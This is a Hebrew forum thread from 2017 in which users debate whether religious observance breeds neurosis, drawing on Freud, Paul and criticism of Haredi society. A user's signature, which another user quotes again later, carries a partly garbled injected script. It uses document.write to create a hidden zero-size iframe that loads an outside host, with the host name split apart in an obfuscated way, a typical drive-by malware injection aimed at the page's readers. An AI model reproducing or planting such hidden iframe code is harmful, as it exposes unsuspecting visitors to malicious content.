| נשלח ב-8/1/2017 01:26 |
 |
| |
דת ונוירוזה
ידועה דעתינו של מר פרויד בעניין הדת,
אבקש לשמוע מחברי הנכבדים דעתם בהקשר שאלה זו
האם לדעתכם בדת (שמירת תומ"צ) ישנה עלילות יתר ליצירת נוירוזות
כלומר, כיון שהדת היא מערכת שלמה של מצוות ומולה עומד האדם בחוסר היכולת (?) לקיים את כולה במלואה (כנ"ל) הרי יש כאן דחיפה ועלילות יתר לתפיסת האדם את עצמו בצורה שלילית מול המערכת השלמה האידיאלית ע"כ ודוק.
אשמח לדעתכם
|
|
|
|
| נשלח ב-8/1/2017 06:42 |
|
| |
התשובה היא כן עם כ' ענקית אבל היו הרבה זרמים חסידיים שהפכו את המגמה, כלל החסידים, ברסלב. אבל עדיין האיסורים וטקסי היום יום פוטנציאל לנירוזה. אל בל נשכח שהדת מאידך מנחמת ומהווה בסיס לאומנה ותקווה, וסביר שמטיבה מצד שני. פרויד סבר שכל הדת כולה, (הדתות) מקורה מנירוטיות. הדבר ברור, היה דת אילולא מוות ?! פחד ?! כאב ?! חרדה ?! "בע"כ אתה עתיד ליתן דו"ח" - אין לך טריגר נירוטי מזה. נשלח מהאנדרואיד שלי
|
|
|
|
|
| נשלח ב-8/1/2017 09:19 |
|
| |
אם השאלה היא פסיכולוגית בלבד, מעניין יהיה לחקור את המאזן בין מה שהדת נותנת לבין מה שהיא לוקחת, אולם הדת לא רק טוענת שהיא מועילה פסיכולוגית, אלא שהיא אמת.
|
|
|
|
| נשלח ב-8/1/2017 17:42 |
|
| |
מורדי
ברוך השב!
מן הראוי לדעתי להסביר תחילה מהי אותה "נוירוזה" ומה היתה שיטת פרויד אודות הדת. אני בקיא מעט מאד בשיטתו של פרויד, אבל דומני שההתייחסות לדת קשורה לתפיסת האדם שלו, כלומר מהו האדם, כיצד הוא בנוי, ועוד.
אשר לציטוט שלך, זה מזכיר משהו:
כיון שהדת היא מערכת שלמה של מצוות ומולה עומד האדם בחוסר היכולת (?) לקיים את כולה במלואה (כנ"ל) הרי יש כאן דחיפה ועלילות יתר לתפיסת האדם את עצמו בצורה שלילית מול המערכת השלמה האידיאלית
האם אין זו טענתו של פאולוס, מייסד הנצרות באמת, שכיון שיש הגדרה של חטא אז יש חטאים?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-8/1/2017 23:42 |
|
| |
אין הבדל מהותי בין הפסיכולוגיה של הדת לפסיכולוגיה של פסיכולוגיית פרויד.
ההבדלים הם בערך כך:
א. הדתות כולן נוצרו בתקופה שבה היה פחות ידע על הדברים הקשים לידיעה והשגה.
ב. הדתות הניחו - שמה שידוע ידוע, כלומר אם האדם מרגיש רגש מסויים אז הוא אכן מרגיש אותו, ומה שלא ידוע לא ידוע, כלומר אם האדם לא יודע איך להתייחס למצב מסויים, אזי עליו לפנות למקור בעל רגישות ויכולת מידע גבוהים יותר, דוגמת נביא או כהן, והם יגידו לו את רצון הא-ל, כלומר: מקסימום המידע והרגישות שאפשר להגיע אליהם. מעצם מהותו של הדבר הלא-ידוע, דבר הא-ל אינו יכול לגלות הכל. אבל את זה אנו מקבלים בהכנעה, בין אם הכנעה מרצון והבין אם לאו. בכל מקרה אנו מודעים למציאות שישנם דברים שלא נוכל להשיג.
פסיכולוגיית פרויד לעומת זאת - מניחה שמה שידוע לא ידוע, כלומר שאם אדם מרגיש רגש מסויים - אזי לא בטוח שזה מה שהוא מרגיש, ולכן, כבר מתחילת דרכו על האדם לדעת שעליו לחפש מקור בעל רגישות ומידע גבוהים יותר, כדי שיגלו לו את מה שלא ידוע, שעבורם הוא "ידוע" כביכול.
סעיף ב' כמובן נובע מסעיף א' - ההישגים הרבים של האדם הביאו אותו לזחיחות דעת המביאה לטירוף הנזכר לעיל.
כמובן, ברגע שהפסיכולוג "יודע" את מה שלא ידוע - את התת-מודע וכדומה, הרי הוא מעמיד מערכת של "נורמליות" תקנית, מסובכת לתפיסה פי כמה מחברתה הדתית, ולאורה הפסיכולוג מחלק את החברה לשתיים: האנשים ה"נוירוטיים", כלומר אלו שאינם מתאימים למערכת המדוייקת שנמצאת בדעתו ה"נשגבת" של הפסיכולוג. שהוא (הפסיכולוג) וחבריו כולם שייכים לצד של ה"לא נוירוטיים", שיודעים לזהות בדייקנות של רוח הקודש כל פירצה בחומת הנורמליות.
כמובן, גם אנשי הדת לא טמנו ידם בצלחת, ועד מהרה קמו כמה "אנשי מוסר" שלימדו את כולם את אותם דברים באיצטלא דתית. (תורת ה"נגיעות", למשל)
אבל אל-דאגה: לא אלמן ישראל, ואנשים באיזשהוא לשב תופסים שמדובר בקשקוש, כמו למשל הציטוט הבא: "יועצי נישואין אוהבים להגיד 'נתינה יוצרת אהבה'. אני שונא מאוד את המשפט הזה, כי המשפט הזה אומר שלא משנה עם מי אתה מתחתן, אם תהיה נתינה - ייווצר פה משהו חדש. זה מטופש מאוד." - הציטוט לקוח מתוך המאמר הבא (שכשלעצמו עשוי לעניין את חברי הפורום): http://www.bhol.co.il/113371/%D7%94%D7%90%D7%9D-%D7%99%D7%A9-%D7%90%D7%94%D7%91%D7%94-%D7%91%D7%9E%D7%92%D7%96%D7%A8-%D7%94%D7%97%D7%A8%D7%93%D7%99-%D7%98%D7%95%D7%A8-%D7%97%D7%95%D7%91%D7%94.html
 |
|
|
|
|
| נשלח ב-8/1/2017 23:54 |
|
| |
הערה: סביר מאוד שאותם "אנשי מוסר" מהחברה הדתית, שהכניסו לדת את הרעיונות המשונים, הם האחראים ליצירת המצב המשונה של הדת בימינו.
הערה נוספת: כמובן, שבעולם כפרני - עצם האמונה הדתית, וכמובן גם מנהגים דתיים - הינם "לא נורמליים" במובן של "לא בנורמה". זו עובדה שאין להתווכח עליה, ועם זאת היא חסרת כל משמעות, מכיוון שזה לא באמת אומר מי יותר חכם או טוב או "בריא בנפשו"
|
|
|
|
| נשלח ב-9/1/2017 22:04 |
|
| |
|
|
|
|
| נשלח ב-15/1/2017 10:57 |
|
| |
כן. אך מי אמר שזה רע?
גם מודעות לחיות הג'ונגל או לסכנת טביעה בים, תיצור נוירוזה מסויימת.
אם הדת אמיתית, הנוירוזה שמתפתחת סביבה היא מוצדקת.
אגב בעבר הדת היתה מיועדת למנוע נוירוזה, כלומר - מתוך חוסר הסדר שהשתקף בעולם, האל המגן והשומר הציל את המצב. כמובן שהיו תנאים קלים כדי לקבל את חסותו. כיום, הדת התפתחה למצב של חוסר יכולת לקיים את כל דרישות האל, או לפחות זו ההרגשה.
הכרתי אדם מרביץ תורה שהתאבד למחרת יום כיפור, להערכתי בשל עומס מצפון דתי.
|
|
|
|
| נשלח ב-15/1/2017 14:41 |
|
| |
איה האמת,אתה חושב שהחיים היום יומיים שלנו דומים לחיים בקרב חיות ג'ונגל או שהייה בים?
אם לא-אז מה פשר ההשוואה שעשית?
(מיותר לציין שכל מה שעושה נוירוזה הוא רע)
|
|
|
|
| נשלח ב-18/1/2017 15:00 |
|
| |
| קרדיולוג כתב: |  | התשובה היא כן עם כ' ענקית אבל היו הרבה זרמים חסידיים שהפכו את המגמה, כלל החסידים, ברסלב. אבל עדיין האיסורים וטקסי היום יום פוטנציאל לנירוזה. [/quote] הפכו או העצימו?, בתור מתבונן מהצד נראה כמו האפשרות השניה, נוטה להזדהות עם הצורך בתיאולוגיה רזה וקיצוף חריף בתרבות החומרות שלא מותאמת לחיי כל אחד [quote] אל בל נשכח שהדת מאידך מנחמת ומהווה בסיס לאומנה ותקווה, וסביר שמטיבה מצד שני. [/quote] אכן מנחמת, בתור נותנת מסגרת, בתור מקור אמוני, בטחון יציבות, גם מעשה המצוות?
[quote]
פרויד סבר שכל הדת כולה, (הדתות) מקורה מנירוטיות. הדבר ברור, היה דת אילולא מוות ?! פחד ?! כאב ?! חרדה ?! "בע"כ אתה עתיד ליתן דו"ח" - אין לך טריגר נירוטי מזה. נשלח מהאנדרואיד שלי |
|
|
|
|
|
| נשלח ב-18/1/2017 15:07 |
|
| |
| מיימוני כתב: | | מורדי
[/quote] תודה!
[quote]
ברוך השב!
מן הראוי לדעתי להסביר תחילה מהי אותה "נוירוזה" ומה היתה שיטת פרויד אודות הדת. אני בקיא מעט מאד בשיטתו של פרויד, אבל דומני שההתייחסות לדת קשורה לתפיסת האדם שלו, כלומר מהו האדם, כיצד הוא בנוי, ועוד.
[/quote]
אכן, אבל דורש אשכול נפרד? מהות האדם על פי פרויד ועל פי חז"ל, סתירה/השלמה/ועוד, בהחלט נוגע לעניינים מהותיים שלת'רדים שכנים בפורום יש עסק איתם, פסיכולוגיה יהודית (גילוי נאות, לענ"ד אין, ומה שיש, נו, אשתוק הפעם :) )
אשר לציטוט שלך, זה מזכיר משהו:
כיון שהדת היא מערכת שלמה של מצוות ומולה עומד האדם בחוסר היכולת (?) לקיים את כולה במלואה (כנ"ל) הרי יש כאן דחיפה ועלילות יתר לתפיסת האדם את עצמו בצורה שלילית מול המערכת השלמה האידיאלית
האם אין זו טענתו של פאולוס, מייסד הנצרות באמת, שכיון שיש הגדרה של חטא אז יש חטאים?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
קצת שונה, ביסוד טענת פאולוס יש ניהליזם חוקתי, כיון שאין אסור ומותר (אסור=חטא?) בטענתי/שאלתי אין טענה לאי צורך בחוק/נומוס/מצוות, אבל יש כן תהיה בדבר הירארכיה של מצוות אידאליזציה חריפה של מצוות מעבר להקשרן המקורי, ובהחלט תהיה על חטא=חוטא (במיוחד לכל מיני מצוות/עבירות חברתיות שזכו לפופולריות יתירה לטוב ובעיקר למוטב, כמדד למצב הבינארי (החולני בעיני) של דתי חילוני, - לא חושב שיש כזה דבר, כולנו (לענ"ד בלבד כמובן) נעים על הציר ושאלתי היתה עד כמה ציר התנועה גמיש (=לא נוירוטי) או קשיח (=מייצר נוירוזות, ואולי אפי' הפרעות אישיות, עפרא לפומי)
|
|
|
|
| נשלח ב-18/1/2017 15:14 |
|
| |
| אליקים7241 כתב: | | אין הבדל מהותי בין הפסיכולוגיה של הדת לפסיכולוגיה של פסיכולוגיית פרויד.
ההבדלים הם בערך כך:
א. הדתות כולן נוצרו בתקופה שבה היה פחות ידע על הדברים הקשים לידיעה והשגה.
ב. הדתות הניחו - שמה שידוע ידוע, כלומר אם האדם מרגיש רגש מסויים אז הוא אכן מרגיש אותו, ומה שלא ידוע לא ידוע, כלומר אם האדם לא יודע איך להתייחס למצב מסויים, אזי עליו לפנות למקור בעל רגישות ויכולת מידע גבוהים יותר, דוגמת נביא או כהן, והם יגידו לו את רצון הא-ל, כלומר: מקסימום המידע והרגישות שאפשר להגיע אליהם. מעצם מהותו של הדבר הלא-ידוע, דבר הא-ל אינו יכול לגלות הכל. אבל את זה אנו מקבלים בהכנעה, בין אם הכנעה מרצון והבין אם לאו. בכל מקרה אנו מודעים למציאות שישנם דברים שלא נוכל להשיג.
פסיכולוגיית פרויד לעומת זאת - מניחה שמה שידוע לא ידוע, כלומר שאם אדם מרגיש רגש מסויים - אזי לא בטוח שזה מה שהוא מרגיש, ולכן, כבר מתחילת דרכו על האדם לדעת שעליו לחפש מקור בעל רגישות ומידע גבוהים יותר, כדי שיגלו לו את מה שלא ידוע, שעבורם הוא "ידוע" כביכול.
סעיף ב' כמובן נובע מסעיף א' - ההישגים הרבים של האדם הביאו אותו לזחיחות דעת המביאה לטירוף הנזכר לעיל.
כמובן, ברגע שהפסיכולוג "יודע" את מה שלא ידוע - את התת-מודע וכדומה, הרי הוא מעמיד מערכת של "נורמליות" תקנית, מסובכת לתפיסה פי כמה מחברתה הדתית, ולאורה הפסיכולוג מחלק את החברה לשתיים: האנשים ה"נוירוטיים", כלומר אלו שאינם מתאימים למערכת המדוייקת שנמצאת בדעתו ה"נשגבת" של הפסיכולוג. שהוא (הפסיכולוג) וחבריו כולם שייכים לצד של ה"לא נוירוטיים", שיודעים לזהות בדייקנות של רוח הקודש כל פירצה בחומת הנורמליות.
כמובן, גם אנשי הדת לא טמנו ידם בצלחת, ועד מהרה קמו כמה "אנשי מוסר" שלימדו את כולם את אותם דברים באיצטלא דתית. (תורת ה"נגיעות", למשל)
אבל אל-דאגה: לא אלמן ישראל, ואנשים באיזשהוא לשב תופסים שמדובר בקשקוש, כמו למשל הציטוט הבא: "יועצי נישואין אוהבים להגיד 'נתינה יוצרת אהבה'. אני שונא מאוד את המשפט הזה, כי המשפט הזה אומר שלא משנה עם מי אתה מתחתן, אם תהיה נתינה - ייווצר פה משהו חדש. זה מטופש מאוד." - הציטוט לקוח מתוך המאמר הבא (שכשלעצמו עשוי לעניין את חברי הפורום): http://www.bhol.co.il/113371/%D7%94%D7%90%D7%9D-%D7%99%D7%A9-%D7%90%D7%94%D7%91%D7%94-%D7%91%D7%9E%D7%92%D7%96%D7%A8-%D7%94%D7%97%D7%A8%D7%93%D7%99-%D7%98%D7%95%D7%A8-%D7%97%D7%95%D7%91%D7%94.html |
|
מצריך תגובה ארוכה, אתייחס למה שידוע על הלא ידוע בכתיבתך :) רק בכדי להדגים...
מבין השיטין נראה (?) שאתה בז לידענות של הפסיכולוגים,
ההתפתחויות האחרונות של הפסיכולוגיה (אוגדן, מיטשל, ארון ועוד הרבה) בהחלט לא נצבעים כיודעים אלא בעיקר כבוחנים, ואני חושב שנהפוך הוא, הרגש הנוכח הוא החוויה המתקבלת, בניגוד ל"לא לפחד כלל" - דחיקת הרגיש ואי הלגיטימיות שלו, אסור להיות עצוב, לפחד, לכעוס - ועוד, על זה אפילו לא התחלתי לדבר בתור מעוררי נוירזות ועוד חמור מכאן,
אני חושב שהפסיכולוגים מכירים בלגיטימיות של הרגש ומתחקים אחר מקורו הלא מודע, דוגמא קלאסית ופרוזאית, גבר שרירי שמתעלף ממזרק בחדר מיון, האם הוא באמת מפחד ממזרק? התשובה היא כן!, האם זהו מקור הפחד, סביר להניח שלא!
עד כאן לעת עתה
|
|
|
|
| נשלח ב-18/1/2017 15:24 |
|
| |
אליקים, המאמר שהפנית אליו, מעורר פלצות, אני תמה האם הכותב קרא את מה שהוא כתב, לדעתי המסקנה המתבקשת היא סגירת החברה החרדית, כי שום שיפוץ לא יועיל לבעיה כ"כ קריטית ששורשיה יותר עמוקים מ"תרבות השידוכים", ועוד ציטוט קטן מהרב שך בטוח לא יפתור את הבעיה, כדי שבחור חרדי בכלל יוכל לאהוב, ואח"כ גם בחורה, צריך ראשית שבכלל יוכל לשחק (ואולי לא להתלבש כמו מבוגר כשהוא כבר בן 10, חזרה לתרבות ימי הביניים) ואח"כ שרגשות יהיו לגיטמיים באופן כללי, מתי אפשר לבטא אותם עם לומדים מגיל 10 24/7, בתור אידיאל
בסוף, אולי גם יוכל לאהוב בחורה, אבל זה לא ילך בשתיים שלוש פגישות, רגש צריך מרחב להתפתח, ואני בהחלט לא רואה רווח ולא מרווח בחברה החרדית בכללותה
מודע היטב לשיפוטיות והביקורתיות שבדברי ואף לשטחיות - כטבען של הכללות, עכ"פ עיקר הטענה, שבחברה שמקדשת באופן טוטאלי אידאה אחת - ללא התאמה לנפשות, אין מרחב רגשי יכול להתפתח בצורה טובה
|
|
|
|
| נשלח ב-18/1/2017 15:35 |
|
| |
lidans51=mordi23,  הלך לי לאיבוד שם המשתמש ולא הצלחתי לשחזר
תוקן על ידי lidans51 ב- 18/01/2017 15:36:08
|
|
|
|
|
